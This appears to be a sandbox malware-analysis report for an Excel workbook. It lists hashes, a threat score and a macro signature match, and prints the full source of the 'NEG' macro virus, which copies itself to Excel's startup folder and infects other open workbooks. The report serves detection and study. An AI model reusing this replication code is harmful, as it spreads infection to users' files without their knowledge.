cfa879cf0a4e4d771307f7b5d802156270de22be2aa0a7b5ab25d131487b2264

Sharing

Copy URL

Twitter E-mail

General

Target

cfa879cf0a4e4d771307f7b5d802156270de22be2aa0a7b5ab25d131487b2264
Size

205KB
MD5

be533fca0338d2fd1d064acc4eb37705
SHA1

a32d3f01b50f192503149d216179208ecc836200
SHA256

cfa879cf0a4e4d771307f7b5d802156270de22be2aa0a7b5ab25d131487b2264
SHA512

ad696827e723baeaa29d0a74160020e14a8a8eef7476d9a4394387547c318c1c6edad8032c0fc9b0a0f69c2283574b52248f2bdaf9735bdcba9c30f947d890e6
SSDEEP

6144:S9k3hOdsylKlgryzc4bNhZF+E+EgwKYAdP+AK9oEU:SpK

Score

8^/10

macro xlm

Malware Config

Signatures

Suspicious Office macro 1 IoCs

Office document equipped with 4.0 macros.

macro xlm

resource	yara_rule
sample	office_xlm_macros

Files

cfa879cf0a4e4d771307f7b5d802156270de22be2aa0a7b5ab25d131487b2264
.xls windows office2003

foxz

1

Attribute VB_Name = "foxz"

2

3

'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!

4

'foxz@usa.net

5

6

7

Sub auto_open()

8

Attribute auto_open.VB_Description = "\n\n \n\n\n�\n"

9

Application.OnSheetActivate = "check_files"

10

End Sub

11

12

Sub check_files()

13

Attribute check_files.VB_Description = "\n\n \n\n\n�\n"

14

c$ = Application.StartupPath

15

m$ = Dir(c$ & "\" & "NEGS.XLS")

16

If m$ = "NEGS.XLS" Then p = 1 Else p = 0

17

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

18

whichfile = p + w * 10

19

20

Select Case whichfile

21

Case 10

22

Application.ScreenUpdating = False

23

n4$ = ActiveWorkbook.Name

24

Sheets("foxz").Visible = True

25

Sheets("foxz").Select

26

Sheets("foxz").Copy

27

With ActiveWorkbook

28

.title = ""

29

.Subject = ""

30

.Author = ""

31

.Keywords = ""

32

.Comments = "infected by NEG Promo!"

33

End With

34

newname$ = ActiveWorkbook.Name

35

c4$ = CurDir()

36

ChDir Application.StartupPath

37

ActiveWindow.Visible = False

38

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _

39

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

40

False, CreateBackup:=False

41

ChDir c4$

42

Workbooks(n4$).Sheets("foxz").Visible = False

43

Application.OnSheetActivate = ""

44

Application.ScreenUpdating = True

45

Application.OnSheetActivate = "NEGS.XLS!check_files"

46

Case 1

47

Application.ScreenUpdating = False

48

n4$ = ActiveWorkbook.Name

49

p4$ = ActiveWorkbook.Path

50

s$ = Workbooks(n4$).Sheets(1).Name

51

If s$ <> "foxz" Then

52

Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)

53

Workbooks(n4$).Sheets("foxz").Visible = False

54

Else

55

End If

56

Application.OnSheetActivate = ""

57

Application.ScreenUpdating = True

58

Application.OnSheetActivate = "NEGS.XLS!check_files"

59

Case Else

60

End Select

61

End Sub

62

Sharing

General

Malware Config

Signatures

Files

foxz

We care about your privacy.